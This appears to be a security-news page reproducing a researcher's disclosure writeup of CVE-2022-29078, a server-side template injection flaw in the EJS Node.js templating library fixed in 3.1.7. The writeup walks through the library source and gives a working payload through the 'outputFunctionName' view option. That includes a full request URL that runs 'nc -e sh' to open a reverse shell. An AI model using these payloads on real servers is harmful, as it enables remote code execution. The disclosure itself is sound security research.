Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-29078: EJS, Server side template injection RCE (CVE-2022-29078) - writeup

The ejs (aka Embedded JavaScript templates) package 3.1.6 for Node.js allows server-side template injection in settings[view options][outputFunctionName]. This is parsed as an internal option, and overwrites the outputFunctionName option with an arbitrary OS command (which is executed upon template compilation).

CVE
#mac#nodejs#js#java

Note: The objective of this research or any similar researches is to improve the nodejs ecosystem security level.

Recently i was working on a related project using one of the most popular Nodejs templating engines Embedded JavaScript templates - EJS

In my weekend i started to have a look around to see if the library is vulnerable to server side template injection. Since the library is open source we can have a whitebox approach and look at the source code.

you can use a debugger to put several breakpoint to understand the code flow quicky. Or at least you can do a print (or console.log) to see what functions is called and what is the variables values

The analysis

I noticed an interesting thing in the render function

exports.render = function (template, d, o) {
  var data = d || {};
  var opts = o || {};

  // No options object -- if there are optiony names
  // in the data, copy them to options
  if (arguments.length == 2) {
    utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
  }

  return handleCache(opts, template)(data);
};

libs/ejs.js:413

The data and options is merged together through this function utils.shallowCopyFromList So in theory we can overwrite the template options with the data (coming from user)

A look into the function shows it has some restrictions

exports.shallowCopyFromList = function (to, from, list) {
  for (var i = 0; i < list.length; i++) {
    var p = list[i];
    if (typeof from[p] != 'undefined') {
      to[p] = from[p];
    }
  }
  return to;
};

libs/utils.js:135

It only copies the data if it’s in the passed list defined

var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
  'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];

OK, its time to have a proof of concept and lets try this options to see what impact we can make

// index.js
const express = require('express')
const app = express()
const port = 3000

app.set('view engine', 'ejs');

app.get('/page', (req,res) => {
    res.render('page', req.query);
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})


// page.ejs
<h1> You are viewing page number <%= id %></h1>

Now if we lunched this application and send this request for example

http://localhost:3000/page?id=2&debug=true

This will ends up enabling ejs debug mode. But there is not much impact because if there is no errors nothing will show 🤷

OK, lets try something else. What about the delimiter

http://localhost:3000/?delimiter=NotExistsDelimiter

ok, This is interesting because it will disclose the template because the delimiter is not exists.

One more thing i tried here is to try to exploit to to have a reDos attack. Because this delimiter is added to regex and this regex is executed against the template contents.

createRegex: function () {
    var str = _REGEX_STRING;
    var delim = utils.escapeRegExpChars(this.opts.delimiter);
    var open = utils.escapeRegExpChars(this.opts.openDelimiter);
    var close = utils.escapeRegExpChars(this.opts.closeDelimiter);
    str = str.replace(/%/g, delim)
      .replace(/</g, open)
      .replace(/>/g, close);
    return new RegExp(str);
  }

libs/ejs.js:558

So if we added a delimiter xx the regex will be like this

(<xxxx|xxxx>|<xx=|<xx-|<xx_|<xx#|<xx|xx>|-xx>|_xx>)

But the problem as you see above that it’s well escaped utils.escapeRegExpChars so we can’t actually put any regex reserved characters (*,$, [] …etc) so basically we can’t do somethig catastrophic here.

OK, thats boring. What will be really exciting is to find RCE

The RCE exploit 🔥🔥

I spent sometime looking around till i find this interesting lines in the renderFile function.

// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
    utils.shallowCopy(opts, viewOpts);
}

libs/ejs.js:471

Interesing, so in the case of express view options ejs will copy everything into the options without restrictions 🎉

Bingo, now what we need is just to find option included in the template body without escaping

prepended +=
    '  var __output = "";\n' +
    '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
    prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

so if we injected code in the outputFunctionName option it will included in the source code.

Payload like this x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s

it will be added to the template compiled code

var x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s= __append;

and our code will be excuted successfully

So lets try a reverse shell

first lets run netcat on our maching

and lets inject some code

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

And here we go 🔥

SSTI RCE in EJS

Fix & Mitigation

Ejs already issued a fix to prevent injecting any code in the options especially opts.outputFunctionName

and they released v3.1.7

Timeline

  • 10 Apr 2022: Reported to vendor
  • 12 Apr 2022: CVE number assigned (CVE-2022-29078)
  • 20 Apr 2022: Fix released

Related news

CVE-2022-29806: Release The Memory Remains 1.36.13 · ZoneMinder/zoneminder

ZoneMinder before 1.36.13 allows remote code execution via an invalid language.

CVE-2022-29499: Mitel Product Security Advisory 22-0002

The Service Appliance component in Mitel MiVoice Connect through 19.2 SP3 allows remote code execution because of incorrect data validation. The Service Appliances are SA 100, SA 400, and Virtual SA.

CVE-2021-35250: SolarWinds Trust Center Security Advisories | CVE-2021-35250

A researcher reported a Directory Transversal Vulnerability in Serv-U 15.3. This may allow access to files relating to the Serv-U installation and server files. This issue has been resolved in Serv-U 15.3 Hotfix 1.

CVE-2022-25866: Uses --end-of-options after command options (for security reasons) · czproject/git-php@5e82d54

The package czproject/git-php before 4.0.3 are vulnerable to Command Injection via git argument injection. When calling the isRemoteUrlReadable($url, array $refs = NULL) function, both the url and refs parameters are passed to the git ls-remote subcommand in a way that additional flags can be set. The additional flags can be used to perform a command injection.

CVE-2022-28290: 2022-28290 - Reflected Cross-Site Scripting in Welaunch

Reflective Cross-Site Scripting vulnerability in WordPress Country Selector Plugin Version 1.6.5. The XSS payload executes whenever the user tries to access the country selector page with the specified payload as a part of the HTTP request

CVE-2022-1441: fixed #2175 · gpac/gpac@3dbe11b

MP4Box is a component of GPAC-2.0.0, which is a widely-used third-party package on RPM Fusion. When MP4Box tries to parse a MP4 file, it calls the function `diST_box_read()` to read from video. In this function, it allocates a buffer `str` with fixed length. However, content read from `bs` is controllable by user, so is the length, which causes a buffer overflow.

CVE-2021-4225: CVEproject/wordpress_SP-Project_fileupload.md at main · pang0lin/CVEproject

The SP Project & Document Manager WordPress plugin before 4.24 allows any authenticated users, such as subscribers, to upload files. The plugin attempts to prevent PHP and other similar files that could be executed on the server from being uploaded by checking the file extension. It was discovered that on Windows servers, the security checks in place were insufficient, enabling bad actors to potentially upload backdoors on vulnerable sites.

CVE-2022-1390: WordPress Admin Word Count Column 2.2 Local File Inclusion ≈ Packet Storm

The Admin Word Count Column WordPress plugin through 2.2 does not validate the path parameter given to readfile(), which could allow unauthenticated attackers to read arbitrary files on server running old version of PHP susceptible to the null byte technique. This could also lead to RCE by using a Phar Deserialization technique

CVE-2022-1391: WordPress Cab-Fare-Calculator 1.0.3 Local File Inclusion ≈ Packet Storm

The Cab fare calculator WordPress plugin through 1.0.3 does not validate the controller parameter before using it in require statements, which could lead to Local File Inclusion issues.

CVE-2022-24792: Merge pull request from GHSA-rwgw-vwxg-q799 · pjsip/pjproject@947bc1e

PJSIP is a free and open source multimedia communication library written in C. A denial-of-service vulnerability affects applications on a 32-bit systems that use PJSIP versions 2.12 and prior to play/read invalid WAV files. The vulnerability occurs when reading WAV file data chunks with length greater than 31-bit integers. The vulnerability does not affect 64-bit apps and should not affect apps that only plays trusted WAV files. A patch is available on the `master` branch of the `pjsip/project` GitHub repository. As a workaround, apps can reject a WAV file received from an unknown source or validate the file first.

CVE-2022-1396: WordPress Donorbox-Donation-Form 7.1.6 Cross Site Scripting ≈ Packet Storm

The Donorbox WordPress plugin before 7.1.7 does not sanitise and escape its Campaign URL settings before outputting it in an attribute, leading to a Stored Cross-Site Scripting issue even when the unfiltered_html capability is disallowed

RHSA-2022:1491: Red Hat Security Advisory: java-1.8.0-openjdk security update

An update for java-1.8.0-openjdk is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2022-21426: OpenJDK: Unbounded memory allocation when compiling crafted XPath expressions (JAXP, 8270504) * CVE-2022-21434: OpenJDK: Improper object-to-string conversion in AnnotationInvocationHandler (Libraries, 8277672) * CVE-2022-21443: OpenJDK: Missing check for negative ObjectIdentifier (Libraries, 8275151) * CVE-2022-21476: OpenJDK: Defecti...

CVE-2022-26111: CVE-Advisory/CVE-2022-26111.pdf at main · post-cyberlabs/CVE-Advisory

The BeanShell components of IRISNext through 9.8.28 allow execution of arbitrary commands on the target server by creating a custom search (or editing an existing/predefined search) of the documents. The search components permit adding BeanShell expressions that result in Remote Code Execution in the context of the IRISNext application user, running on the web server.

RHSA-2022:1490: Red Hat Security Advisory: java-1.8.0-openjdk security update

An update for java-1.8.0-openjdk is now available for Red Hat Enterprise Linux 8.4 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2022-21426: OpenJDK: Unbounded memory allocation when compiling crafted XPath expressions (JAXP, 8270504) * CVE-2022-21434: OpenJDK: Improper object-to-string conversion in AnnotationInvocationHandler (Libraries, 8277672) * CVE-2022-21443: OpenJDK: Missing check for negative ObjectIdentifier (Libraries, 8275151) * CVE-20...

RHSA-2022:1489: Red Hat Security Advisory: java-1.8.0-openjdk security update

An update for java-1.8.0-openjdk is now available for Red Hat Enterprise Linux 8.2 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2022-21426: OpenJDK: Unbounded memory allocation when compiling crafted XPath expressions (JAXP, 8270504) * CVE-2022-21434: OpenJDK: Improper object-to-string conversion in AnnotationInvocationHandler (Libraries, 8277672) * CVE-2022-21443: OpenJDK: Missing check for negative ObjectIdentifier (Libraries, 8275151) * CVE-20...

RHSA-2022:1488: Red Hat Security Advisory: java-1.8.0-openjdk security update

An update for java-1.8.0-openjdk is now available for Red Hat Enterprise Linux 8.1 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2022-21426: OpenJDK: Unbounded memory allocation when compiling crafted XPath expressions (JAXP, 8270504) * CVE-2022-21434: OpenJDK: Improper object-to-string conversion in AnnotationInvocationHandler (Libraries, 8277672) * CVE-2022-21443: OpenJDK: Missing check for negative ObjectIdentifier (Libraries, 8275151...

RHSA-2022:1487: Red Hat Security Advisory: java-1.8.0-openjdk security, bug fix, and enhancement update

An update for java-1.8.0-openjdk is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2022-21426: OpenJDK: Unbounded memory allocation when compiling crafted XPath expressions (JAXP, 8270504) * CVE-2022-21434: OpenJDK: Improper object-to-string conversion in AnnotationInvocationHandler (Libraries, 8277672) * CVE-2022-21443: OpenJDK: Missing check for negative ObjectIdentifier (Libraries, 8275151) * CVE-2022-21476: OpenJDK: Defecti...

CVE-2022-28586: XSS on Hoosk v1.8 · Issue #63 · havok89/Hoosk

XSS in edit page of Hoosk 1.8.0 allows attacker to execute javascript code in user browser via edit page with XSS payload bypass filter some special chars.

CVE-2022-28053: V1.5.3: Unrestricted File Upload Vulnerability · Issue #325 · typemill/typemill

Typemill v1.5.3 was discovered to contain an arbitrary file upload vulnerability via the upload function. This vulnerability allows attackers to execute arbitrary code via a crafted PHP file.

CVE-2022-27429: V1.9.5: SSRF Vulnerability · Issue #67 · Cherry-toto/jizhicms

Jizhicms v1.9.5 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via /admin.php/Plugins/update.html.

CVE-2022-27428: v2.0: stored XSS Vulnerability · Issue #20 · bensonarts/GalleryCMS

A stored cross-site scripting (XSS) vulnerability in /index.php/album/add of GalleryCMS v2.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the album_name parameter.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907